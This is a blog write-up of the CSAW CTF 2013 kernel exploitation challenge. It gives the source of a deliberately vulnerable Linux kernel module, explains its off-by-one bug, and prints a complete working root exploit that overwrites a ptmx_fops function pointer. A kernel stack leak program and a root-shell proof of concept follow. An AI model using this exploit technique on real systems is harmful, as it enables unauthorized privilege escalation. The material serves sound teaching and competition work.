CSAW CTF 2013 Kernel Exploitation Challenge

Table of Contents

Introduction

CSAW CTF 2013 was last weekend, and this year I was lucky enough to be named a judge for the competition.  I decided to bring back the Linux kernel exploitation tradition of previous years and submitted the challenge “Brad Oberberg.”  Four of the 15 teams successfully solved the challenge.

Each team was presented with unprivileged access to a live VM running 32-bit Ubuntu 12.04.3 LTS.  The vulnerable kernel module csaw.ko was loaded on each system, and successful exploitation would allow for local privilege escalation and subsequent reading of the flag.  Source code to the kernel module was provided to each team, and may be viewed below (or downloaded here):

/*
 *                      .ed"""" """$$$$be.
 *                    -"           ^""**$$$e.
 *                  ."                   '$$$c
 *                 /     C S A W          "4$$b
 *                d  3      2 0 1 3         $$$$
 *                $  *                   .$$$$$$
 *               .$  ^c           $$$$$e$$$$$$$$.
 *               d$L  4.         4$$$$$$$$$$$$$$b
 *               $$$$b ^ceeeee.  4$$ECL.F*$$$$$$$
 *   e$""=.      $$$$P d$$$$F $ $$$$$$$$$- $$$$$$
 *  z$$b. ^c     3$$$F "$$$$b   $"$$$$$$$  $$$$*"      .=""$c
 * 4$$$$L        $$P"  "$$b   .$ $$$$$...e$$        .=  e$$$.
 * ^*$$$$$c  %..   *c    ..    $$ 3$$$$$$$$$$eF     zP  d$$$$$
 *   "**$$$ec   "   %ce""    $$$  $$$$$$$$$$*    .r" =$$$$P""
 *         "*$b.  "c  *$e.    *** d$$$$$"L$$    .d"  e$$***"
 *           ^*$$c ^$c $$$      4J$$$$$% $$$ .e*".eeP"
 *              "$$$$$$"'$=e....$*$$**$cz$$" "..d$*"
 *                "*$$$  *=%4.$ L L$ P3$$$F $$$P"
 *                   "$   "%*ebJLzb$e$$$$$b $P"
 *                     %..      4$$$$$$$$$$ "
 *                      $$$e   z$$$$$$$$$$%
 *                       "*$c  "$$$$$$$P"
 *                        ."""*$$$$$$$$bc
 *                     .-"    .$***$$$"""*e.
 *                  .-"    .e$"     "*$c  ^*b.
 *           .=*""""    .e$*"          "*bc  "*$e..
 *         .$"        .z*"               ^*$e.   "*****e.
 *         $$ee$c   .d"                     "*$.        3.
 *         ^*$E")$..$"                         *   .ee==d%
 *            $.d$$$*                           *  J$$$e*
 *             """""                              "$$$" Gilo95'
 */

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/random.h>
#include <linux/list.h>
#include <linux/sched.h>
#include <asm/uaccess.h>

#define DRIVER_VERSION "CSAW SUCKiT v1.3.37"

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS	    CSAW_IOCTL_BASE+7

#define MAX_CONSUMERS 255

struct csaw_buf {
    unsigned long consumers[MAX_CONSUMERS];
    char *buf;
    unsigned long size;
    unsigned long seed;
    struct list_head list;
};

LIST_HEAD(csaw_bufs);

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct free_args {
    unsigned long handle;
};

struct read_args {
    unsigned long handle;
    unsigned long size;
    void *out;
};

struct write_args {
    unsigned long handle;
    unsigned long size;
    void *in;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

unsigned long clients = 0;
unsigned long handles = 0;
unsigned long bytes_read = 0;
unsigned long bytes_written = 0;

static int csaw_open ( struct inode *inode, struct file *file )
{
    clients++;

    return 0;
}

static int csaw_release ( struct inode *inode, struct file *file )
{
    clients--;

    return 0;
}

int alloc_buf ( struct alloc_args *alloc_args )
{
    struct csaw_buf *cbuf;
    char *buf;
    unsigned long size, seed, handle;

    size = alloc_args->size;

    if ( ! size )
        return -EINVAL;

    cbuf = kmalloc(sizeof(*cbuf), GFP_KERNEL);
    if ( ! cbuf )
        return -ENOMEM;

    buf = kzalloc(size, GFP_KERNEL);
    if ( ! buf )
    {
        kfree(cbuf);
        return -ENOMEM;
    }

    cbuf->buf = buf;
    cbuf->size = size;

    memset(&cbuf->consumers, 0, sizeof(cbuf->consumers));
    cbuf->consumers[0] = current->pid;

    get_random_bytes(&seed, sizeof(seed));

    cbuf->seed = seed;

    handle = (unsigned long)buf ^ seed;

    list_add(&cbuf->list, &csaw_bufs);

    alloc_args->handle = handle;

    return 0;
}

void free_buf ( struct csaw_buf *cbuf )
{
    list_del(&cbuf->list);
    kfree(cbuf->buf);
    kfree(cbuf);
}

struct csaw_buf *find_cbuf ( unsigned long handle )
{
    struct csaw_buf *cbuf;

    list_for_each_entry ( cbuf, &csaw_bufs, list )
        if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
            return cbuf;

    return NULL;
}

static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
{
    int ret = 0;
    unsigned long *argp = (unsigned long *)arg;

    switch ( cmd )
    {
        case CSAW_ALLOC_HANDLE:
        {
            int ret;
            struct alloc_args alloc_args;

            if ( copy_from_user(&alloc_args, argp, sizeof(alloc_args)) )
                return -EFAULT;

            if ( (ret = alloc_buf(&alloc_args)) < 0 )
                return ret;

            if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )
                return -EFAULT;

            handles++;

            break;
        }

        case CSAW_READ_HANDLE:
        {
            struct read_args read_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;
            unsigned long to_read;

            if ( copy_from_user(&read_args, argp, sizeof(read_args)) )
                return -EFAULT;

            cbuf = find_cbuf(read_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            to_read = min(read_args.size, cbuf->size);

            if ( copy_to_user(read_args.out, cbuf->buf, to_read) )
                return -EFAULT;

            bytes_read += to_read;

            break;
        }

        case CSAW_WRITE_HANDLE:
        {
            struct write_args write_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;
            unsigned long to_write;

            if ( copy_from_user(&write_args, argp, sizeof(write_args)) )
                return -EFAULT;

            cbuf = find_cbuf(write_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            to_write = min(write_args.size, cbuf->size);

            if ( copy_from_user(cbuf->buf, write_args.in, to_write) )
                return -EFAULT;

            bytes_written += to_write;

            break;
        }

        case CSAW_GET_CONSUMER:
        {
            struct consumer_args consumer_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
                return -EFAULT;

            cbuf = find_cbuf(consumer_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            consumer_args.pid = cbuf->consumers[consumer_args.offset];

            if ( copy_to_user(argp, &consumer_args, sizeof(consumer_args)) )
                return -EFAULT;

            break;
        }

        case CSAW_SET_CONSUMER:
        {
            struct consumer_args consumer_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
                return -EFAULT;

            cbuf = find_cbuf(consumer_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            cbuf->consumers[consumer_args.offset] = consumer_args.pid;

            break;
        }

        case CSAW_FREE_HANDLE:
        {
            struct free_args free_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&free_args, argp, sizeof(free_args)) )
                return -EFAULT;

            cbuf = find_cbuf(free_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                 if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            free_buf(cbuf);

            handles--;

            break;
        }

        case CSAW_GET_STATS:
        {
            struct csaw_stats csaw_stats;

            csaw_stats.clients = clients;
            csaw_stats.handles = handles;
            csaw_stats.bytes_read = bytes_read;
            csaw_stats.bytes_written = bytes_written;
            strcpy(csaw_stats.version, DRIVER_VERSION);

            if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) )
                return -EFAULT;

            break;
        }

        default:
            ret = -EINVAL;
            break;
    }

    return ret;
}

static ssize_t csaw_read ( struct file *file, char *buf, size_t count, loff_t *pos )
{
    char *stats;
    unsigned int to_read;
    unsigned int ret;

    stats = kmalloc(1024, GFP_KERNEL);
    if ( ! buf )
        return -ENOMEM;

    ret = snprintf(stats, 1024, "Active clients: %lu\nHandles allocated: %lu\nBytes read: %lu\nBytes written: %lu\n",
             clients, handles, bytes_read, bytes_written);

    if ( count < ret )
        to_read = count;
    else
        to_read = ret;

    if ( copy_to_user(buf, stats, to_read) )
    {
        kfree(stats);
        return -EFAULT;
    }

    kfree(stats);

    return 0;
}

static const struct file_operations csaw_fops = {
    owner:          THIS_MODULE,
    open:           csaw_open,
    release:        csaw_release,
    unlocked_ioctl: csaw_ioctl,
    read:           csaw_read,
};

static struct miscdevice csaw_miscdev = {
    name:   "csaw",
    fops:   &csaw_fops
};

static int __init lezzdoit ( void )
{
    misc_register(&csaw_miscdev);

    return 0;
}

static void __exit wereouttahurr ( void )
{
    misc_deregister(&csaw_miscdev);
}

module_init(lezzdoit);
module_exit(wereouttahurr);

MODULE_LICENSE("GPL");

Understanding the Code

The kernel module is meant to provide a shared buffer system between processes.  By interacting with the /dev/csaw interface, processes may do various things such as allocating a new buffer of arbitrary size, reading and writing to the buffer, and controlling which process IDs may operate on it.  The main point of interaction with the module is through the ioctl handler csaw_ioctl().

The CSAW_ALLOC_HANDLE command allocates a new buffer of size specified by the user and returns a handle.  A handle in this context is simply the the buffer address XOR’d with a random 32-bit value.

Given a valid handle to an existing allocated buffer, the commands CSAW_READ_HANDLE and CSAW_WRITE_HANDLE allow the user to read and write the contents of the buffer.  Only process IDs authorized in the buffer’s consumers array may perform these operations, however.

Again, given a valid handle to an existing allocated buffer, the CSAW_GET_CONSUMER and CSAW_SET_CONSUMER commands allow only authorized processes to modify the buffer’s consumers array.

Finally, the CSAW_FREE_HANDLE command allows authorized consumers to free a given buffer.

An extra command CSAW_GET_STATS provides no direct functionality towards shared buffer management, but provides interesting debug information about the module.  Calling read() on the interface provides similar data.

Tracing the Vulnerable Code Path

Upon entry to csaw_ioctl(), user controls the arguments cmd and arg, and thus the variable argp:

183 static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
184 {
185     int ret = 0;
186     unsigned long *argp = (unsigned long *)arg;
187 
188     switch ( cmd )
189     {

By providing the CSAW_SET_CONSUMER command, the following case is chosen:

299         case CSAW_SET_CONSUMER:
300         {
301             struct consumer_args consumer_args;
302             struct csaw_buf *cbuf;
303             unsigned int i, authorized = 0;
304 
305             if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
306                 return -EFAULT;
307 
308             cbuf = find_cbuf(consumer_args.handle);
309             if ( ! cbuf )
310                 return -EINVAL;

On line 305, user data is safely copied into the struct consumer_args:

91 struct consumer_args {
92     unsigned long handle;
93     unsigned long pid;
94     unsigned char offset;
95 };

On line 308, consumer_args.handle is verified to be a valid handle.  By previously allocating a new buffer via the CSAW_ALLOC_HANDLE command and passing the returned handle here, this check may be satisfied.

Next, the calling process to verified to be in the list of authorized consumers:

312             for ( i = 0; i < MAX_CONSUMERS; i++ )
313                 if ( current->pid == cbuf->consumers[i] )
314                     authorized = 1;
315 
316             if ( ! authorized )
317                 return -EPERM;

Since our current process is also the creator of the given handle, this check is satisfied automatically due to the consumers array being initialized with the current process ID.

Next, the consumers list is updated to reflect the desired edit:

319             cbuf->consumers[consumer_args.offset] = consumer_args.pid;

Line 319 is interesting for a variety of reasons.

At first sight, it appears to suffer from an unbounded array index vulnerability due to the user-controlled consumer_args.offset value being used directly as an array index without prior sanity check.  With such a vulnerability, it would be possible to write a user-controlled 32-bit value at an arbitrary offset from &cbuf->consumers.

However, upon further inspection of the struct definition, we find that consumer_args.offset is in fact of type unsigned char, meaning that its value is bounded from 0-255 instead of 0-(232-1).

Looking at the definition of struct csaw_buf, we find that cbuf->consumers is appropriately sized and doesn’t allow a user to index outside of the array:

58 #define MAX_CONSUMERS 255
59 
60 struct csaw_buf {
61     unsigned long consumers[MAX_CONSUMERS];
62     char *buf;
63     unsigned long size;
64     unsigned long seed;
65     struct list_head list;
66 };

…Or does it?

Recall how C buffer allocation and array indexing works.  The consumers array is allocated with size 255 elements.  By providing the value 255 as an array index, we are not referencing the last element, but instead one past the last element since C begins counting at the 0 index.

This means there is an off-by-one vulnerability in this code, and we can write an arbitrary 32-bit value immediately after the end of consumers in our buffer’s csaw_cbuf struct (or leak the existing value via CSAW_GET_CONSUMER).

Leveraging the Vulnerability

The actual impact of this vulnerability depends on exactly what data follows the consumers array and what control is afforded by manipulating it.

Interestingly enough, we notice that a pointer buf immediately follows the array and may be fully controlled or leaked with our bug:

60 struct csaw_buf {
61     unsigned long consumers[MAX_CONSUMERS];
62     char *buf;
63     unsigned long size;
64     unsigned long seed;
65     struct list_head list;
66 };

This buf pointer stores the location of the heap buffer associated with an allocated handle. In normal operation, the module would read and write to this pointer when getting or settings the contents of a shared buffer.  Instead, we can abuse the functionality of CSAW_WRITE_HANDLE to achieve an exploitation primitive:

240         case CSAW_WRITE_HANDLE:
241         {
242             struct write_args write_args;
243             struct csaw_buf *cbuf;
244             unsigned int i, authorized = 0;
245             unsigned long to_write;
246 
247             if ( copy_from_user(&write_args, argp, sizeof(write_args)) )
248                 return -EFAULT;
249 
250             cbuf = find_cbuf(write_args.handle);
251             if ( ! cbuf )
252                 return -EINVAL;
253 
254             for ( i = 0; i < MAX_CONSUMERS; i++ ) 255                 if ( current->pid == cbuf->consumers[i] )
256                     authorized = 1;
257 
258             if ( ! authorized )
259                 return -EPERM;
260 
261             to_write = min(write_args.size, cbuf->size);
262 
263             if ( copy_from_user(cbuf->buf, write_args.in, to_write) )
264                 return -EFAULT;
265 
266             bytes_written += to_write;
267 
268             break;
269         }

On line 263, user data is presumably safely copied into kernelspace using the copy_from_user() function.  However, with our newfound control over cbuf->buf, we may now point this write operation at any arbitrary location in the kernel, resulting in an arbitrary write primitive.

Mirroring this functionality in CSAW_READ_HANDLE, we may also leverage the bug to leak memory at any arbitrary location in the kernel, resulting in an arbitrary read primitive.

Circumventing Additional Obstacles

Although we’ve identified a vector by which to leverage our off-by-one as arbitrary read and write primitives, there are still additional obstacles to overcome before continuing with our exploit.

Specifically, the call to find_cbuf() on line 250 of CSAW_WRITE_HANDLE is troublesome:

250             cbuf = find_cbuf(write_args.handle);
251             if ( ! cbuf )
252                 return -EINVAL;

Looking at the implementation of find_cbuf(), we find something interesting:

172 struct csaw_buf *find_cbuf ( unsigned long handle )
173 {
174     struct csaw_buf *cbuf;
175 
176     list_for_each_entry ( cbuf, &csaw_bufs, list )
177         if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
178             return cbuf;
179 
180     return NULL;
181 }

On lines 176-178, the function iterates through the linked list of allocated buffers and determines if the user-supplied handle matches that of an existing buffer.

Recall that handles are calculated as an XOR of the buffer address and 32 bits of randomness.  Thus, by corrupting an existing cbuf->buf address, all handle lookups for that buffer will subsequently fail since the calculation no longer matches our given handle.

Thus, in order to achieve our arbitrary read and write, we will need to first somehow leak the buffer’s seed value and recalculate the necessary handle to pass in.  Although seed can’t be directly leaked with the off-by-one bug, it is still possible to infer its value due to the nature of the calculation.

Thanks to the reversibility of the XOR operation, we can instead first leak the existing cbuf->buf value and XOR it with its given handle, obtaining the seed value as a result. Then, by XOR’ng the new cbuf->buf value with the leaked seed, a new valid handle may be calculated and passed in, satisfying the validation function and successfully returning the manipulated buffer struct.

With all obstacles satisfied and exploit primitives realized, it’s time to write an exploit.

Achieving Local Privilege Escalation

While there are numerous techniques to achieve privilege escalation, my solution to the challenge uses the common technique of simply overwriting and triggering a kernel function pointer with the address of a payload in userspace.

Despite an effort to const-ify (make read-only) all possible function pointers in the kernel, certain design patterns still leave opportunity open for easy exploitation.  By overwriting the aio_write function pointer within the ptmx_fops struct associated with /dev/ptmx, it is possible to subsequently trigger the pointer with a call to readv().  In addition to my solution, this specific technique may also be observed in the Enlightenment framework written by Brad Spengler (spender).

After corrupting and triggering the function pointer, kernel execution is then transferred to the following payload in userspace:

127 typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
128 typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
129 
130 unsigned long commit_creds;
131 unsigned long prepare_kernel_cred;
132 unsigned long *cleanup;
133 
134 int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos )
135 {
136     _commit_creds commit = (_commit_creds)commit_creds;
137     _prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred;
138 
139     *cleanup = 0;
140 
141     commit(prepare(0));
142 
143     return 0;
144 }

Kernel symbol resolution was enabled for this challenge, so determining the addresses of commit_creds, prepare_kernel_cred, and ptmx_fops was achieved simply by parsing the output of /proc/kallsyms.

Since the value of aio_read within ptmx_fops is by default 0, cleanup was relatively painless and only required writing the value 0 back to the corrupted pointer location.

Exploit

Download

/*
 * CSAW 2013 Michael Coppola solution
 */

#include 
#include 
#include 
#include <sys/ioctl.h>
#include 
#include 
#include 
#include <sys/uio.h>
#include <sys/utsname.h>

#define BUF_SIZE 0x100

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS      CSAW_IOCTL_BASE+7

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct free_args {
    unsigned long handle;
};

struct read_args {
    unsigned long handle;
    unsigned long size;
    void *out;
};

struct write_args {
    unsigned long handle;
    unsigned long size;
    void *in;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
        unsigned long addr;
        char dummy;
        char sname[512];
        struct utsname ver;
        int ret;
        int rep = 0;
        int oldstyle = 0;

        f = fopen("/proc/kallsyms", "r");
        if (f == NULL) {
                f = fopen("/proc/ksyms", "r");
                if (f == NULL)
                        goto fallback;
                oldstyle = 1;
        }

repeat:
        ret = 0;
        while(ret != EOF) {
                if (!oldstyle)
                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
                else {
                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                        if (ret == 2) {
                                char *p;
                                if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                        continue;
                                p = strrchr(sname, '_');
                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                        p = p - 4;
                                        while (p > (char *)sname && *(p - 1) == '_')
                                                p--;
                                        *p = '';
                                }
                        }
                }
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
                        fclose(f);
                        return addr;
                }
        }

        fclose(f);
        if (rep)
                return 0;
fallback:
        uname(&ver);
        if (strncmp(ver.release, "2.6", 3))
                oldstyle = 1;
        sprintf(sname, "/boot/System.map-%s", ver.release);
        f = fopen(sname, "r");
        if (f == NULL)
                return 0;
        rep = 1;
        goto repeat;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

unsigned long commit_creds;
unsigned long prepare_kernel_cred;
unsigned long *cleanup;

int get_root ( void *iocb, const struct iovec *iov, unsigned long nr_segs, loff_t pos )
{
    _commit_creds commit = (_commit_creds)commit_creds;
    _prepare_kernel_cred prepare = (_prepare_kernel_cred)prepare_kernel_cred;

    *cleanup = 0;

    commit(prepare(0));

    return 0;
}

int main ( int argc, char **argv )
{
    int fd, pfd, ret;
    unsigned long handle, buf, seed, target, new_handle, ptmx_fops;
    unsigned long payload[4];
    struct alloc_args alloc_args;
    struct write_args write_args;
    struct consumer_args consumer_args;
    struct iovec iov;

    fd = open("/dev/csaw", O_RDONLY);
    if ( fd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    pfd = open("/dev/ptmx", O_RDWR);
    if ( pfd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    commit_creds = get_kernel_sym("commit_creds");
    if ( ! commit_creds )
    {
        printf("[-] commit_creds symbol not found, aborting\n");
        exit(1);
    }

    prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
    if ( ! prepare_kernel_cred )
    {
        printf("[-] prepare_kernel_cred symbol not found, aborting\n");
        exit(1);
    }

    ptmx_fops = get_kernel_sym("ptmx_fops");
    if ( ! ptmx_fops )
    {
        printf("[-] ptmx_fops symbol not found, aborting\n");
        exit(1);
    }

    memset(&alloc_args, 0, sizeof(alloc_args));
    alloc_args.size = BUF_SIZE;

    ret = ioctl(fd, CSAW_ALLOC_HANDLE, &alloc_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    handle = alloc_args.handle;

    printf("[+] Acquired handle: %lx\n", handle);

    memset(&consumer_args, 0, sizeof(consumer_args));
    consumer_args.handle = handle;
    consumer_args.offset = 255;

    ret = ioctl(fd, CSAW_GET_CONSUMER, &consumer_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    buf = consumer_args.pid;

    printf("[+] buf = %lx\n", buf);

    seed = buf ^ handle;

    printf("[+] seed = %lx\n", seed);

    target = ptmx_fops + sizeof(void *) * 4;

    printf("[+] target = %lx\n", target);

    new_handle = target ^ seed;

    printf("[+] new handle = %lx\n", new_handle);

    memset(&consumer_args, 0, sizeof(consumer_args));
    consumer_args.handle = handle;
    consumer_args.offset = 255;
    consumer_args.pid = target;

    ret = ioctl(fd, CSAW_SET_CONSUMER, &consumer_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    buf = (unsigned long)&get_root;

    memset(&write_args, 0, sizeof(write_args));
    write_args.handle = new_handle;
    write_args.size = sizeof(buf);
    write_args.in = &buf;

    ret = ioctl(fd, CSAW_WRITE_HANDLE, &write_args);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    printf("[+] Triggering payload\n");

    cleanup = (unsigned long *)target;

    iov.iov_base = &iov;
    iov.iov_len = sizeof(payload);
    ret = readv(pfd, &iov, 1);

    if ( getuid() )
    {
        printf("[-] Failed to get root\n");
        exit(1);
    }
    else
        printf("[+] Got root!\n");

    printf("[+] Enjoy your shell...\n");
    execl("/bin/sh", "sh", NULL);

    return 0;
}

Proof of Concept

csaw@gibson:~$ ./solution 
[+] Resolved commit_creds to 0xc1073be0
[+] Resolved prepare_kernel_cred to 0xc1073e10
[+] Resolved ptmx_fops to 0xc1ac8ec0
[+] Acquired handle: da56b670
[+] buf = f6a84200
[+] seed = 2cfef470
[+] target = c1ac8ed0
[+] new handle = ed527aa0
[+] Triggering payload
[+] Got root!
[+] Enjoy your shell...
# id
uid=0(root) gid=0(root) groups=0(root)
#

Bonus Points

Although there were no actual bonus points to be awarded in the CTF, there is an additional information leak in the challenge that may have been utilized should symbol resolution be disabled (and you didn’t want to, ya know, use the arbitrary read).

Specifically, the CSAW_GET_STATS command contains the vulnerable code:

351         case CSAW_GET_STATS:
352         {
353             struct csaw_stats csaw_stats;
354 
355             csaw_stats.clients = clients;
356             csaw_stats.handles = handles;
357             csaw_stats.bytes_read = bytes_read;
358             csaw_stats.bytes_written = bytes_written;
359             strcpy(csaw_stats.version, DRIVER_VERSION);
360 
361             if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) )
362                 return -EFAULT;
363 
364             break;
365         }

The information leak manifests itself in the version member of csaw_stats, where uninitialized kstack data is returned to the user.  This vulnerability may be identified upon further inspection of the struct definition:

 47 #define DRIVER_VERSION "CSAW SUCKiT v1.3.37"
...
 97 struct csaw_stats {
 98     unsigned long clients;
 99     unsigned long handles;
100     unsigned long bytes_read;
101     unsigned long bytes_written;
102     char version[40];
103 };

Note how version is allocated with size 40, while the DRIVER_VERSION string being strcpy()‘d is only 20 bytes long (including the terminating null byte).

The following code leaks out 20 bytes of uninitialized kstack data to userspace:

Download

/*
 * CSAW 2013 Michael Coppola leak uninitialized kstack
 */

#include 
#include 
#include 
#include <sys/ioctl.h>
#include 
#include 
#include 
#include <sys/uio.h>
#include <sys/utsname.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_GET_STATS      CSAW_IOCTL_BASE+7

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

int main ( int argc, char **argv )
{
    int fd, ret, i;
    struct csaw_stats csaw_stats;

    fd = open("/dev/csaw", O_RDONLY);
    if ( fd < 0 )
    {
        perror("open");
        exit(EXIT_FAILURE);
    }

    memset(&csaw_stats, 0, sizeof(csaw_stats));

    ret = ioctl(fd, CSAW_GET_STATS, &csaw_stats);
    if ( ret < 0 )
    {
        perror("ioctl");
        exit(EXIT_FAILURE);
    }

    for ( i = 0; i < 20; i++ )
        printf("%02hhx ", csaw_stats.version[20+i]);
    printf("\n");

    return 0;
}

And proof of concept:

csaw@gibson:~$ for i in {1..10}; do ./leak; done
00 ce 80 f6 14 00 00 00 28 00 00 00 30 79 62 b7 00 00 00 00 
40 c5 80 f6 14 00 00 00 28 00 00 00 30 39 6f b7 00 00 00 00 
00 c7 80 f6 14 00 00 00 28 00 00 00 30 a9 68 b7 00 00 00 00 
c0 b8 82 f4 14 00 00 00 28 00 00 00 30 b9 66 b7 00 00 00 00 
00 c7 80 f6 14 00 00 00 28 00 00 00 30 b9 68 b7 00 00 00 00 
00 50 a6 f6 14 00 00 00 28 00 00 00 30 89 64 b7 00 00 00 00 
c0 58 a6 f6 14 00 00 00 28 00 00 00 30 29 67 b7 00 00 00 00 
00 50 a6 f6 14 00 00 00 28 00 00 00 30 69 6c b7 00 00 00 00 
c0 58 a6 f6 14 00 00 00 28 00 00 00 30 39 69 b7 00 00 00 00 
00 50 a6 f6 14 00 00 00 28 00 00 00 30 e9 65 b7 00 00 00 00 
csaw@gibson:~$

Depending on the uninitialized data returned, it’s possible to leak pointers which may be used to calculate the base of one’s own kstack.  Using this information in the absence of known targets for a write primitive, a calculated write may then be performed into the kstack to subsequently gain code execution.

This technique, known as “stackjacking,” was presented by Dan Rosenberg and Jon Oberheide in 2011 as a technique to exploit a Linux kernel hardened by the grsecurity patchset.

Although I have written a modified version of my solution that utilizes stackjacking for local privilege escalation, I’ll leave its implementation as an exercise to the reader.

2 thoughts on “CSAW CTF 2013 Kernel Exploitation Challenge

  1. Excellent write up! I was working on this challenge the entire last day of the competition. I was 90% of the way there, but my unfamiliarity with kernel exploitation let me down. I tried using the read primitive to scan for my creds struct, but I couldn’t get my code working. I blame lack of sleep because when I got home, I got it to work in an hour.

    Overall, I really enjoyed the challenge. Thanks for making it!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s